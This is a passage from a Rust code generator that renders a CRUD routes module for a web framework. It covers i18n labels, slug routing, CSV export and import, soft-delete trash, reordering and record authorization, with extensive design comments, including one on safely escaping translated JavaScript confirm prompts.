/// the create/update handler.\n\
fn into_new(form: &{pascal_name}Form) -> AutumnResult<New{pascal_name}> {{\n \
Ok(New{pascal_name} {{\n\
{into_new} }})\n\
}}"
);
let from_row_impl = format!(
"/// Seed a form changeset from a persisted row (edit-form GET).\n\
impl From<&{pascal_name}> for {pascal_name}Form {{\n \
fn from(row: &{pascal_name}) -> Self {{\n \
Self {{\n\
{from_row} }}\n \
}}\n\
}}"
);
let datetime_helper = if needs_datetime {
PARSE_LOCAL_DATETIME_FN.replace(
"__IMPORT_DATETIME_FORMAT__",
if import {
IMPORT_DATETIME_FORMAT_ARM
} else {
""
},
)
} else {
String::new()
};
ModelFormParts {
form_struct,
into_new_fn,
from_row_impl,
datetime_helper,
}
}
/// The extractor's LOCAL BINDING name for a slug-keyed route (issue #1260) —
/// deliberately fixed and `__`-prefixed (matching this file's other
/// internal-only identifiers, e.g. `__parse_result`), NOT the DSL field name.
/// A field literally named `db`/`flash`/`body`/`csrf`/`session`/etc. is a
/// valid declaration (`db:slug{from:title}`), and destructuring straight to
/// that name would collide with the handler's own same-named extractor
/// parameter — a real "duplicate binding" compile error a review caught. The
/// actual field name is still used for the schema column and the URL
/// placeholder segment — only the Rust-local binding is renamed.
const ROUTE_KEY_BINDING: &str = "__route_key";
#[allow(
clippy::too_many_lines,
reason = "This is a single template — splitting it produces less readable output, \
not more. The whole point is one place that prints one file."
)]
#[allow(clippy::too_many_arguments, clippy::fn_params_excessive_bools)]
fn render_routes_file(
project_root: &Path,
pascal_name: &str,
snake_name: &str,
plural: &str,
fields: &[Field],
all_fields: &[Field],
sharded: bool,
soft_delete: bool,
id_type: IdType,
live: bool,
live_validation: bool,
validations: &BTreeMap<String, Vec<String>>,
missing_reference_targets: &BTreeSet<String>,
authorize: bool,
owner: Option<&str>,
searchable: &[String],
// Issue #1323: `Some` only under `--belongs-to`, which adds the nested
// read/create routes and the shared `children_section` the parent's own
// `show` view renders. `None` keeps every emission below byte-identical to
// the pre-#1323 flat scaffold.
nesting: Option<&super::nested::Nesting>,
// Issue #1393: `--import`. The CSV import surface decodes rows against the
// export's `CsvSchema` impl, so it is honoured only where that export is
// emitted — `import_enabled` below is this flag AND `export_enabled`. The
// caller warns when the flag was passed and could not be honoured.
import: bool,
// Issue #1349: the seam every user-facing view string passes through.
// Disabled (`--i18n` off) it returns each caller's literal expression
// verbatim, so this whole template renders byte-for-byte as before.
labels: &scaffold_i18n::ViewLabels,
// Selects the form field Rust types, which differ for `Uuid`/`Decimal` on
// SQLite (issue #1924).
backend: DatabaseBackend,
) -> String {
let id_rust = id_type.rust_type();
// Issue #1349: with `--i18n`, every view-rendering handler takes the
// `Locale` extractor so the `t!` calls below have a `locale` in scope. It
// goes FIRST in every signature: `Locale` is a `FromRequestParts`
// extractor, and axum requires the single body-consuming (`FromRequest`)
// argument — `body: Bytes`, `Multipart` — to be last. Empty without the
// flag, keeping each signature byte-identical.
let locale_param = if labels.enabled() {
"locale: Locale,\n "
} else {
""
};
// Same, for the handlers whose parameter lists are written inline on one
// line rather than one-per-line.
let locale_param_inline = if labels.enabled() {
"locale: Locale, "
} else {
""
};
// (Kept as empty strings so the handler/form templates below can splice a
// per-handler label prelude without a second set of conditionals.)
// Issue #1349: no `l_resource` binding any more — see `new_link_text`.
let resource_bind = String::new();
let resource_bind_form = String::new();
// The three page-furniture strings every HTML index variant renders, and the
// create/edit chrome shared by the form views. Computed once so the six
// index templates and both search templates below stay literal-free without
// repeating the key/English pair eight times.
let index_title = labels.lit_ref(
&format!("{snake_name}.index.title"),
&format!("{pascal_name} index"),
);
let index_heading = labels.markup(
&format!("{snake_name}.name.plural"),
&format!("{pascal_name}s"),
);
// "New {Model}" is a per-resource key, NOT chrome with the noun passed in as
// a Fluent argument. Interpolating a noun into a sentence pattern is the
// classic i18n trap: French needs *Nouveau*/*Nouvelle* by gender, German
// *Neuer*/*Neue*/*Neues*, and Slavic languages inflect the noun itself — a
// translator handed `New { $resource }` cannot get any of that right from
// the bundle alone. One key per resource costs one extra line in `en.ftl`
// and is translatable. (The same reasoning the sibling `{snake}.delete.confirm`
// and `{snake}.trash.heading` keys already follow. `{ $id }` is fine to
// interpolate — a number carries no grammatical gender.)
let new_link_text = labels.lit(&format!("{snake_name}.new"), &format!("New {pascal_name}"));
let new_link_markup =
labels.markup(&format!("{snake_name}.new"), &format!("New {pascal_name}"));
let back_to_list = labels.lit("common.back", "Back to list");
let back_to_list_markup = labels.markup("common.back", "Back to list");
let edit_link_text = labels.lit("common.edit", "Edit");
// Create/edit form chrome. The `New {Pascal}` title is the SAME
// per-resource `{snake}.new` key the index link uses, for the reason given
// above: interpolating the model name into a shared pattern hands the
// translator a sentence whose article and adjective must agree with a noun
// they cannot see.
let new_title = labels.lit_ref(&format!("{snake_name}.new"), &format!("New {pascal_name}"));
let new_heading = labels.markup(&format!("{snake_name}.new"), &format!("New {pascal_name}"));
let create_button = labels.lit("common.create", "Create");
let create_button_ref = labels.lit_ref("common.create", "Create");
let save_button = labels.lit("common.save", "Save");
let save_button_ref = labels.lit_ref("common.save", "Save");
let delete_button = labels.markup("common.delete", "Delete");
// The shared `{snake}_form_for` helper renders every labeled control, so it
// needs the locale too. By reference — it only forwards it into `t!`-built
// `override_label` values, so there is nothing to own.
let form_for_locale_arg = if labels.enabled() {
"locale.clone(), "
} else {
""
};
// The generated routes module imports explicitly (no `prelude::*`), so the
// extractor and the macro both need naming. Both live behind autumn-web's
// `i18n` feature, which the plan enables on the project's Cargo.toml.
let i18n_imports = if labels.enabled() {
"use autumn_web::i18n::Locale;\nuse autumn_web::t;\n"
} else {
""
};
// Referenced two ways: the i18n `delete_confirm_js` JS-escaping `@let`
// (see the comment at its definition) uses `serde_json::to_string`, and
// `into_new`'s JSON-field arms (see `FieldKind::Json` below) parse into
// bare `serde_json::Value` — the base project template has no direct
// `serde_json` dependency, only autumn-web's re-export. Importing it
// unconditionally left every scaffold with neither i18n nor a JSON field
// (the documented, default case) with an unused import.
let has_json_field = fields.iter().any(|f| f.kind == FieldKind::Json);
let serde_json_import = if labels.enabled() || has_json_field {
"use autumn_web::reexports::serde_json;\n"
} else {
""
};
// Empty-state copy. `DataTableConfig::new` takes `&str`, and the config is a
// temporary borrowed only for the `data_table(...)` call, so an inline
// `&t!(…)` is fine here — no binding needed.
let index_empty = labels.lit_ref(
&format!("{snake_name}.index.empty"),
&format!("No {plural} yet."),
);
// The strings only the flag-gated surfaces render. Registered lazily so a
// scaffold without the flag never defines a key nothing references — which
// is exactly what `autumn i18n check` reports as unused.
let (search_empty, search_box_placeholder) = if searchable.is_empty() {
(String::new(), String::new())
} else {
(
labels.lit_ref(
&format!("{snake_name}.search.empty"),
&format!("No {plural} found."),
),
labels.lit_ref(
&format!("{snake_name}.search.placeholder"),
&format!("Search {pascal_name}s…"),
),
)
};
// The destructive button keeps its `window.confirm` guard, so the prompt travels
// through a JavaScript string literal — and a translation is not trusted input: it can
// come from a translator, a TMS, or a crowdsourced `.ftl`. Maud escapes the attribute
// value for HTML, but nothing escapes it for JS, so the encoding has to be exact.
//
// `serde_json::to_string` is that encoder: JSON string syntax is a subset of
// JavaScript's, and it escapes the quote, the backslash, and every control character.
// Hand-rolling `.replace('\'', "\\'")` is not enough — it leaves backslashes alone, so
// `C:\temp` smuggles in a tab, and a trailing `\` before an apostrophe escapes the
// generator's own escape and closes the string early, turning the rest of the
// translation into executable code. The emitted double quotes are HTML-escaped by Maud
// and un-escaped by the parser before JS ever sees them.
let delete_confirm_key = format!("{snake_name}.delete.confirm");
let delete_confirm_ftl = format!("Delete this {pascal_name}?");
let (delete_confirm_bind, delete_confirm_attr) = if labels.enabled() {
(
format!(
r#"@let delete_confirm_js = format!("return confirm({{}})", serde_json::to_string(&{}).unwrap_or_else(|_| "\"\"".into()));
"#,
labels.lit(&delete_confirm_key, &delete_confirm_ftl)
),
"(delete_confirm_js)".to_owned(),
)
} else {
(
String::new(),
format!("\"return confirm('Delete this {pascal_name}?')\""),
)
};
// `--searchable` only. Registered lazily so a non-searchable scaffold never
// writes these keys into `en.ftl` (an unreferenced key is exactly what
// `autumn i18n check` reports as unused). `{snake}.search.title` serves the
// page `<h1>`, the `<title>`, and the search input's visible label — they
// are the same words naming the same thing, so one key keeps them in step.
let (search_title, search_heading, search_box_label) = if searchable.is_empty() {
(String::new(), String::new(), String::new())
} else {
(
labels.lit_ref(
&format!("{snake_name}.search.title"),
&format!("Search {pascal_name}s"),
),
labels.markup(
&format!("{snake_name}.search.title"),
&format!("Search {pascal_name}s"),
),
labels.lit_ref(
&format!("{snake_name}.search.title"),
&format!("Search {pascal_name}s"),
),
)
};
// #1260: a `slug` field reroutes `show`, `edit`, `update`, and `delete`, and their
// generated links, to key off the slug instead of `id`. The
// `plan_scaffold_with_options_impl` gate above ensures a slug never coexists with
// `--live`, `--live-validation`, `--sharded`, an `Attachment` field, or a
// `:states(...)` field, so every one of those branches below is unreachable whenever
// `route_key_field` is `Some` and needs no changes. When `route_key_field` is `None` —
// the common case of no slug field — every helper below reduces to exactly the
// pre-#1260 text, so a non-slug scaffold's output is byte-for-byte unchanged.
let slug_field: Option<&Field> = fields.iter().find(|f| f.kind.is_slug());
let route_key_field: Option<&str> = slug_field.map(|f| f.name.as_str());
// The `id`/`slug` parameter declaration for a `show`/`edit`/`update`/
// `delete` handler signature — substitutes in place of the pre-#1260
// literal `id: Path<{id_rust}>` text.
let id_param_decl: String = route_key_field.map_or_else(
|| format!("id: Path<{id_rust}>"),
|_| format!("Path({ROUTE_KEY_BINDING}): Path<String>"),
);
// The URL path segment name for those same four routes.
let id_url_segment: &str = route_key_field.unwrap_or("id");
// The `{plural}::table` row lookup — substitutes in place of the
// pre-#1260 literal `.find(*id)` (dot kept in the surrounding template).
let find_expr: String = route_key_field.map_or_else(
|| "find(*id)".to_owned(),
|f| format!("filter({plural}::{f}.eq(&{ROUTE_KEY_BINDING}))"),
);
// The value expression used everywhere a route handler builds a
// `paths::*`/error-message argument identifying the row it just loaded —
// substitutes in place of the pre-#1260 literal `*id`.
let id_value_expr: String =
route_key_field.map_or_else(|| "*id".to_owned(), |_| format!("&{ROUTE_KEY_BINDING}"));
// Same, but for a loaded `row: {pascal_name}` value rather than the path
// extractor local — substitutes in place of the pre-#1260 literal `row.id`
// wherever a view displays or links the record it just rendered. Borrows
// (`&row.{f}`) rather than reading `row.{f}` by value: unlike `row.id`
// (`i64`, `Copy`), a slug is a non-`Copy` `String` field, and every
// substitution site below already accepts `impl Display`/`Render` on a
// reference, so borrowing here avoids depending on happening to be the
// last use of `row` in the surrounding handler.
let route_key_display_expr: String =
route_key_field.map_or_else(|| "row.id".to_owned(), |f| format!("&row.{f}"));
// Issue #1349: the detail page's title and heading both render
// "{Model} #{key}". The Fluent value interpolates the key rather than
// concatenating around it, so a translation can place it wherever its
// language puts it.
let show_title_key = format!("{snake_name}.show.title");
let show_title_ftl = format!("{pascal_name} #{{ $id }}");
let show_id_arg = format!("&({route_key_display_expr}).to_string()");
let show_title = labels.expr_ref(
&show_title_key,
&show_title_ftl,
&format!("&format!(\"{pascal_name} #{{}}\", {route_key_display_expr})"),
&[("id", &show_id_arg)],
);
let show_heading = labels.markup_expr(
&show_title_key,
&show_title_ftl,
&format!("\"{pascal_name} #\" ({route_key_display_expr})"),
&[("id", &show_id_arg)],
);
// The `:states(...)` variant renders the same page from a shared `show_view`
// helper, which is always `id`-keyed (a slug column and a state-machine
// column are refused together upstream).
let show_view_title = labels.expr_ref(
&show_title_key,
&show_title_ftl,
&format!("&format!(\"{pascal_name} #{{}}\", row.id)"),
&[("id", "&row.id.to_string()")],
);
let show_view_heading = labels.markup_expr(
&show_title_key,
&show_title_ftl,
&format!("\"{pascal_name} #\" (row.id)"),
&[("id", "&row.id.to_string()")],
);
// The edit form's title/heading. Keyed per-resource because the English
// carries the model's own name; the row key is a Fluent argument so a
// translation can position it. Two shapes: the standard form keys off
// `{id_value_expr}` (a slug column reroutes it), the live-validation form
// always off `*id`.
let edit_title_key = format!("{snake_name}.edit.title");
let edit_title_ftl = format!("Edit {pascal_name} #{{ $id }}");
let edit_id_arg = format!("&({id_value_expr}).to_string()");
let edit_title = labels.expr_ref(
&edit_title_key,
&edit_title_ftl,
&format!("&format!(\"Edit {pascal_name} #{{}}\", {id_value_expr})"),
&[("id", &edit_id_arg)],
);
let edit_heading = labels.markup_expr(
&edit_title_key,
&edit_title_ftl,
&format!("\"Edit {pascal_name} #\" ({id_value_expr})"),
&[("id", &edit_id_arg)],
);
let edit_title_live = labels.expr_ref(
&edit_title_key,
&edit_title_ftl,
&format!("&format!(\"Edit {pascal_name} #{{}}\", *id)"),
&[("id", "&(*id).to_string()")],
);
let edit_heading_live = labels.markup_expr(
&edit_title_key,
&edit_title_ftl,
&format!("\"Edit {pascal_name} #\" (*id)"),
&[("id", "&(*id).to_string()")],
);
// `show_view` is a plain helper, not a handler, so it takes the locale as an
// ordinary argument — BY VALUE. `t!` expands to `Locale::t(&locale, …)`, and
// a `&Locale` binding would make that a `&&Locale` the signature rejects.
// `Locale` is a cheap clone: a tag string plus an `Arc` to the shared bundle.
let (show_view_locale_param, show_view_locale_arg, show_view_locale_arg_multiline) =
if labels.enabled() {
(
"locale: Locale,\n ",
"locale.clone(), ",
"locale.clone(), ",
)
} else {
("", "", "")
};
// The value the `update` handler's SUCCESS redirect resolves the row
// by — unlike `id_value_expr` (the path extractor's PRE-update value,
// still correct for the not-found message above it), this must read the
// just-persisted `new.{f}` for a slug: if the user edited (or blanked,
// triggering re-derivation of) the slug, redirecting to the OLD path
// value 404s (issue #1260 review finding). `id` never changes on
// update, so the non-slug case stays the pre-#1260 `*id`.
let update_redirect_expr: String =
route_key_field.map_or_else(|| "*id".to_owned(), |f| format!("&new.{f}"));
// Issue #1319: the full-text search box + results handler apply only to the
// standard (non-live) HTML index. The `--live`/`--live-validation` list is a
// `<ul>` with an SSE out-of-band swap contract that a `data_table` search
// fragment would break, so gate the search box off for those variants (the
// model/repository/migration still get `searchable`). Precedent: the label
// -map gating for the live index.
let search_enabled = !searchable.is_empty() && !live && !live_validation;
// Issue #1312: bulk-select + `POST /{plural}/bulk_delete`. Emitted only for
// the standard HTML list. `--live`/`--live-validation` own their list DOM
// through an SSE/htmx out-of-band swap contract that a wrapping `<form>` and
// an extra checkbox column would break, and the `--sharded` repository has no
// cross-shard `delete_many` to route a mixed selection through — so those
// three variants stay byte-identical to their pre-#1312 output. (`--api`
// emits no HTML routes file at all, so it needs no gate here.)
let bulk_delete_enabled = !live && !live_validation && !sharded;
let validated_fields: Vec<&str> = validations.keys().map(String::as_str).collect();
let unique_fields: Vec<&Field> = fields.iter().filter(|f| f.unique).collect();
// Issue #1326: fields carrying a `:states(…)` state machine. Only these
// scaffolds emit a `show_view` helper, per-field `transition_controls`, and a
// `POST /{plural}/{{id}}/transitions/{field}` handler. A scaffold with none
// (the overwhelming common case) keeps the pre-#1326 output byte-identical.
let sm_fields: Vec<&Field> = fields
.iter()
.filter(|f| f.state_machine.is_some())
.collect();
let has_state_machine = !sm_fields.is_empty();
// Issue #1318: the optimistic-locking column, read from `all_fields` —
// `fields` is the FORM field list, and `lock_version` is deliberately absent
// from it (the version is carried in a hidden input, never as an editable
// control; see `plan_scaffold`'s `form_fields` filter). `None` for the
// overwhelming common case, which keeps every emission below byte-identical
// to the pre-#1318 output.
let lock_version: Option<&Field> = super::model::lock_version_field(all_fields);
// The Rust type of the version counter (`i32`/`i64`), used for the hidden
// field's parse target and the shared `form_for` helper's parameter.
let lock_version_ty: String = lock_version.map(Field::rust_type).unwrap_or_default();
let update_columns = render_update_columns(plural, fields);
let nullable_field_match = render_nullable_field_match(fields);
// With no nullable (or synthetic constrained-required-numeric) fields,
// `render_nullable_field_match` renders a bare `false` that never reads
// its `name` argument — the overwhelmingly common case for a first
// scaffold, since every documented example field is required. Name the
// parameter `_name` in exactly that case so the generated helper compiles
// without an unused-variable warning; every other case still binds `name`,
// matching the `matches!(name, ...)` body `render_nullable_field_match`
// emits.
let nullable_form_field_param = if fields
.iter()
.any(|f| f.nullable || is_constrained_required_numeric(f))
{
"name"
} else {
"_name"
};
let has_attachments = has_attachment_fields(fields);
// Issue #1125/#1830: inline record-level authorization on the mutating HTML
// handlers + owner-scoped index. The caller sets `authorize` whenever an
// owner column exists, on EVERY variant. Attachment scaffolds already thread
// a `state: State<AppState>` param through `create`/`update` (for the
// multipart upload), so those two handlers reuse it rather than injecting a
// second, conflicting `State` extractor — see `create_update_authz_params` /
// `create_update_state_expr` below.
// The owner column name (`user_id`/`author_id`/`owner_id`/a users FK). Only
// read when `owner_scoped_index` is set (so the caller passed `Some`).
let owner_col = owner.unwrap_or("user_id");
// Issue #1830: the index is owner-scoped only when an owner column exists. A
// no-owner scaffold still record-authorizes its mutating handlers (`authorize`
// is set), but its index cannot filter by owner, so it keeps the unscoped
// listing.
let owner_scoped_index = authorize && owner.is_some();
// Issue #1841: the STANDARD (non-live, non-live-validation, non-sharded) Db
// owner path is the only one whose repository carries `owner = <col>` (see
// `render_repository_file`), so it is the only one whose index/search can call
// the macro's owner-filtered `list_scoped` / `search_page_scoped`. That path
// gets the sort/filter data_table + the search box, both safely scoped to the
// current user. The `--sharded`/`--live`/`--live-validation` owner indexes
// keep the #1830 manual owner-filtered query (no scoped repo methods emitted).
let owner_scoped_standard = owner_scoped_index && !sharded && !live && !live_validation;
// #1315: the `GET /{plural}/export.csv` download and the index's "Export CSV" link.
// Emitted exactly where the index's row set is a repository call the export can reuse
// — `repo.list_scoped` on the owner-scoped standard index, `repo.list` on the plain
// one. The export calls their count-free siblings, `list_scoped_rows`/`list_rows`
// (#2185), which the macro builds from the same filters. That is the whole security
// argument for AC5: the export never re-derives a row set of its own, so it cannot
// widen past what the index already shows.
//
// Gated off for `--live`, an SSE `<ul>` on `repo.page` with no `ListQuery` to honour;
// for `--sharded`, where `from_shard` pins the query to one shard so an "export
// everything" file would silently cover a fraction of the table; and for the
// owner-scoped `--live-validation`/`--sharded` indexes, which run a manual
// owner-filtered diesel query rather than a scoped repository method — re-deriving that
// filter by hand in a second handler is exactly the duplication that leaks rows when
// one side is later edited. Plain, non-owner `--live-validation` renders the standard
// data_table index on `repo.list`, so it does get the export. Must agree exactly with
// the matching gate in `plan_scaffold_with_options_impl`, plus `--api`, which emits no
// HTML routes module at all, or `main.rs` would mount a route this module never emitted.
let export_enabled = owner_scoped_standard || (!owner_scoped_index && !live && !sharded);
// #1393: the CSV import surface. Gated on the export's own gate rather than a fresh
// matrix: the import decodes each row against the `CsvSchema` impl `export_enabled`
// emits, so an import without an export would reference an impl that is not there.
//
// And never where a required form column is absent from that schema. An at-rest
// `#[encrypted]` column is exactly that case: #1340 omits it from the export, because
// the model holds plaintext and exporting it would write every row's decrypted secret
// to a file, but `{Pascal}Form` requires it, so every row of a file headed by
// `csv_columns()` would fail to decode. A model with no settable column at all would
// likewise emit an import whose only possible output is rows of defaults. `fields`
// here is the caller's `form_fields`, so an encrypted column that was `--default`ed
// out of the form blocks nothing.
//
// Must agree exactly with the `import_enabled` gate in
// `plan_scaffold_with_options_impl` — which also excludes `--api`, whose scaffold
// emits no HTML routes module, and which is where the warning naming the column is
// printed — or main.rs would mount routes this module never emitted.
let import_enabled = import
&& export_enabled
&& !fields.iter().any(Field::is_encrypted)
&& fields.iter().any(|f| !f.kind.is_attachment());
// #1349: the export link's text, registered only where the export is actually
// emitted, so a non-exporting scaffold defines no unused key.
//
// Also the strings the shared widgets supply by default rather than the templates
// above: the pager's `aria-label`, Previous and Next, the bulk-delete submit button,
// and its per-row checkbox `aria-label`. They render in the generated views like any
// other button or link, so a scaffold that leaves them at their English defaults is
// only partly translated. Each widget already exposes a setter; the generator simply
// never called them. The pager's are inline, because `PagerOptions` is built and
// consumed inside one statement so a `&t!(…)` temporary lives long enough;
// `BulkActionsConfig` is bound to a `let` that outlives its statement, so its two take
// bindings.
let pager_labels = if labels.enabled() {
format!(
".aria_label(&{}).prev_label(&{}).next_label(&{})",
labels.lit("common.pagination", "Pagination"),
labels.lit("common.previous", "Previous"),
labels.lit("common.next", "Next"),
)
} else {
String::new()
};
let (bulk_label_binds, bulk_labels) = if labels.enabled() && bulk_delete_enabled {
(
format!(
"let l_bulk_submit = {};\n let l_bulk_select = {};\n ",
labels.lit("common.delete.selected", "Delete selected"),
labels.lit("common.select.row", "Select row"),
),
".submit_label(&l_bulk_submit).select_label(&l_bulk_select)".to_owned(),
)
} else {
(String::new(), String::new())
};
// #2227: how `create`/`update` build their changeset. Without `--i18n` this
// is plain `form.into_changeset()`. With it, a resolver turns each
// validator error code into a bundle lookup, so the inline error matches
// the translated label above it.
let changeset_build = render_changeset_build(snake_name, fields, validations, labels);
let export_csv_text = if export_enabled {
labels.lit("common.export.csv", "Export CSV")
} else {
String::new()
};
// #1332: the `GET /{plural}/trash` recycle bin plus its per-row `POST
// /{plural}/{id}/restore` and `POST /{plural}/{id}/purge` controls, finishing #689's
// AC6. Emitted only for a `--soft-delete` resource — there is nothing to recover
// without one — and only on the standard HTML path.
//
// Gated off for:
//
// * `--live`/`--live-validation`: `restore` un-deletes through the repository's
// `restore`, which is not the broadcasting `save`, so a recovered row would never
// reach the SSE list and every open index would keep showing it as gone until a
// manual reload;
// * `--sharded`: `page_only_deleted` refuses to fan out across shards, since
// per-shard `LIMIT/OFFSET` cannot be merged into one page, so a trash page would
// silently show one shard's deletions and call it "the trash" — the same argument
// that gates the CSV export off there;
// * an owner-scoped index: there is no owner-filtered deleted-rows scope to list
// through (`list_scoped` has no `only_deleted` sibling, and adding one would be
// new public API, which AC8 rules out). Re-deriving the owner filter by hand in a
// second list handler is how a list endpoint leaks another user's rows, so this
// refuses rather than ship a trash page one edit away from a data leak.
//
// Must agree exactly with the matching gate in `plan_scaffold_with_options_impl`, plus
// `--api`, which emits no HTML routes module at all, or `main.rs` would mount routes
// this module never emitted.
let trash_enabled = soft_delete && !live && !live_validation && !sharded && !owner_scoped_index;
// #1358: must agree exactly with the matching gate in
// `plan_scaffold_with_options_impl`, plus `--api`, which emits no HTML routes
// module at all, or `main.rs` would mount routes this module never emitted. See
// that gate's comment for the full scope rationale. `fields` here is actually the
// caller's `form_fields` — the parameters are named `fields`/`all_fields` but the
// call site passes `&form_fields, &fields` — and a `position` field is always
// excluded from it, being DB-managed and dropped from the
// `metadata.defaults`-filtered form fields the way `lock_version` is, so it must be
// looked up in `all_fields`.
let position_field = all_fields.iter().find(|f| f.kind.is_position());
let reorder_enabled =
position_field.is_some() && !live && !live_validation && !sharded && !owner_scoped_index;
// Issue #1358: the `position` field's no-JS Move up/down buttons and
// their flash message. `move_up`/`move_down` are shared chrome (same
// English on every resource, like `common.delete`); the flash bakes in
// the resource's own name, so it gets a per-resource key like
// `flash_created`/`flash_updated` below. Registered lazily, like
// `search_empty`/`search_box_placeholder` above: a scaffold with no
// position field never references these, so they must not be defined
// in `en.ftl` either, or `autumn i18n check` would flag them unused.
let (move_up_button, move_down_button, flash_moved) = if reorder_enabled {
(
labels.lit("common.move_up", "Move up"),
labels.lit("common.move_down", "Move down"),
labels.lit(
&format!("{snake_name}.flash.moved"),
&format!("{pascal_name} moved"),
),
)
} else {
(String::new(), String::new(), String::new())
};
// #1358: the plain index, and the CSV export below for the same reason, default
// `?sort=` to the position column when the caller requested none, so a reorderable
// list renders and exports in its maintained order rather than primary-key order.
// Otherwise `move_*` would silently have no visible effect on load. A Codex review
// round caught the export side specifically: without this, "Export CSV" from a
// no-`?sort=` position-ordered index silently downloaded a different row order than
// was on screen, because `export_csv` parses its own `ListQuery` from the request
// rather than inheriting the index handler's default. Applied only in the branch
// `reorder_enabled` targets, the same restriction set; the sharded, live, and
// owner-scoped index branches keep their existing unsorted queries.
let default_sort_let = position_field.map_or_else(String::new, |pf| {
format!(
" let list_query = if list_query.sort().is_none() {{\n \
let __autumn_filters: Vec<(&str, &str)> = list_query.filters().collect();\n \
ListQuery::new(Some(\"{}\"), list_query.direction(), &__autumn_filters)\n \
}} else {{\n list_query\n }};\n",
pf.name
)
});
// Issue #1332: once a Trash page exists, "{pascal_name} deleted" is no longer
// what happened — the row moved somewhere the user can go and get it back,
// and the flash is the only place that says so. Every scaffold that emits no
// trash surface (including a `--soft-delete` one on a gated-off variant,
// where there is nowhere to point them) keeps the original wording.
let destroy_flash = if trash_enabled {
format!("{pascal_name} moved to Trash")
} else {
format!("{pascal_name} deleted")
};
// #1349: the one-shot notices. The layout's `flash_messages(...)` renders them on the
// very next page, so a French app that still toasts "Post created" is not translated —
// the whole promise of the flag is that adding a locale means editing a `.ftl`, not
// Rust. Per-resource keys, like the other strings that carry the model's name: a shared
// `common.created = { $resource } created` would hand the translator a sentence whose
// verb has to agree with a noun they cannot see (French "créé"/"créée", German word
// order), the same trap `{snake}.new` avoids. `Flash::success` takes `impl
// Into<String>`, so a `t!` `String` drops straight in where the literal was.
let flash_created = labels.lit(
&format!("{snake_name}.flash.created"),
&format!("{pascal_name} created"),
);
let flash_updated = labels.lit(
&format!("{snake_name}.flash.updated"),
&format!("{pascal_name} updated"),
);
let flash_destroyed = labels.lit(&format!("{snake_name}.flash.deleted"), &destroy_flash);
// The bulk-delete pair. `Deleted {n} posts` interpolates a COUNT, which is
// safe to pass as a Fluent argument (a number carries no gender), unlike the
// model noun. A translator wanting real plural rules can turn the value into
// a Fluent selector on `$count` without touching Rust.
let flash_bulk_cap = if bulk_delete_enabled {
labels.expr(
&format!("{snake_name}.flash.bulk_cap"),
&format!("Select at most {{ $max }} {plural} at once"),
&format!("format!(\"Select at most {{MAX_BULK_IDS}} {plural} at once\")"),
&[("max", "&MAX_BULK_IDS.to_string()")],
)
} else {
String::new()
};
let (flash_none_selected, flash_bad_selection, flash_bulk_deleted) = if bulk_delete_enabled {
(
labels.lit(
&format!("{snake_name}.flash.none_selected"),
&format!("No {plural} selected"),
),
labels.lit(
&format!("{snake_name}.flash.bad_selection"),
&format!("That is not a valid selection of {plural}"),
),
labels.expr(
&format!("{snake_name}.flash.bulk_deleted"),
&format!("Deleted {{ $count }} {plural}"),
&format!("format!(\"Deleted {{}} {plural}\", allowed.len())"),
&[("count", "&allowed.len().to_string()")],
),
)
} else {
(String::new(), String::new(), String::new())
};
let (flash_restored, flash_purged) = if trash_enabled {
(
labels.lit(
&format!("{snake_name}.flash.restored"),
&format!("{pascal_name} restored — it is back in the list"),
),
labels.lit(
&format!("{snake_name}.flash.purged"),
&format!("{pascal_name} permanently deleted"),
),
)
} else {
(String::new(), String::new())
};
// Registered only where the surface using it is actually emitted: a key
// nothing references is exactly what `autumn i18n check --strict` fails on.
// The stale-write notice lives in the state-machine transition handler's
// 409 branch only, so it needs BOTH a lock column and a `:states(...)`
// column — a plain `lock_version` scaffold re-renders the edit form with an
// inline banner instead and never flashes.
let flash_stale =
if lock_version.is_some() && all_fields.iter().any(|f| f.state_machine.is_some()) {
labels.lit(
&format!("{snake_name}.flash.stale"),
&format!(
"This {snake_name} was changed by someone else since this page was loaded. \
Reload and try again."
),
)
} else {
String::new()
};
// The full extractor pair the authorize wiring needs on handlers that do not
// already carry a `state:` wrapper. No trailing comma — each insertion site
// supplies its own delimiter.
let authz_params_full = if authorize {
"\n autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\
\n session: autumn_web::session::Session"
} else {
""
};
// Attachment `create`/`update` already own a `state: State<AppState>` param;
// a second `State(state)` would be a duplicate binding (why #1125 excluded
// attachments), so those two handlers gain ONLY `session` and deref the
// existing wrapper (`&*state`) in their authorize calls. `edit`/`destroy`
// never carry `state`, so they take the full pair.
let authz_params_session_only = if authorize {
"\n session: autumn_web::session::Session"
} else {
""
};
let create_update_authz_params = if has_attachments {
authz_params_session_only
} else {
authz_params_full
};
let edit_destroy_authz_params = authz_params_full;
// The `AppState` receiver expression for the authorize calls: create/update
// deref the reused attachment wrapper (`State<T>` → `T`); everything else
// binds `AppState` directly via the injected `State(state)`.
let create_update_state_expr = if has_attachments { "&*state" } else { "&state" };
let edit_destroy_state_expr = "&state";
// Every PRESENT `references` field (its target model — and so its
// `src/schema.rs` entry — is in the project; `missing_reference_targets`
// excludes the rest, which the caller already warned about and which fall
// back to a numeric id). This drives the issue #1146 parent-DISPLAY
// rendering on index/show, which is generator-emitted *view* markup
// (`posts::table.find(fk).select(posts::title)`), independent of the form
// control — so it applies in `--live-validation` mode too.
let display_reference_fields: Vec<&Field> = fields
.iter()
.filter(|f| f.kind.is_reference() && !missing_reference_targets.contains(&f.name))
.collect();
// The subset that also renders an in-FORM `<select>` of the referenced
// table's ids (issue #1135 AC 2) plus its runtime option loaders. Issue
// #1750: `--live-validation` renders the form through the per-field path
// (no `form_for`), which used to drop the dropdown — the per-field path now
// emits a raw runtime-populated `<select>` (see
// `render_live_reference_select`), so every mode gets the belongs_to
// dropdown.
let reference_fields: Vec<&Field> = display_reference_fields.clone();
let has_reference_selects = !reference_fields.is_empty();
// Issue #1130: standard scaffolds render every view through the
// application's shared `crate::layout` (nav bar, stylesheet links,
// skip-link, footer) rather than a private per-file layout stub, so a
// scaffolded page looks like the rest of the app and there is only ever one
// layout definition in the project. Live and live-validation views keep a
// local `layout` helper because they need extra `<head>` scripts
// (SSE/idiomorph) and a morph-enabled `<body>` the shared 4-arg shell can't
// express.
let shared_layout = !live && !live_validation;
let layout_fn = if shared_layout {
"crate::layout"
} else {
"layout"
};
// The shared `crate::layout(title, current_path, flash, content)` takes a
// `current_path` (used by `nav_bar` to mark the active link). The resource
// base path `/{plural}` is a sensible value for every scaffolded view; the
// private (live) layout has no such argument.
let cp = |path: &str| -> String {
if shared_layout {
format!("\"{path}\", ")
} else {
String::new()
}
};
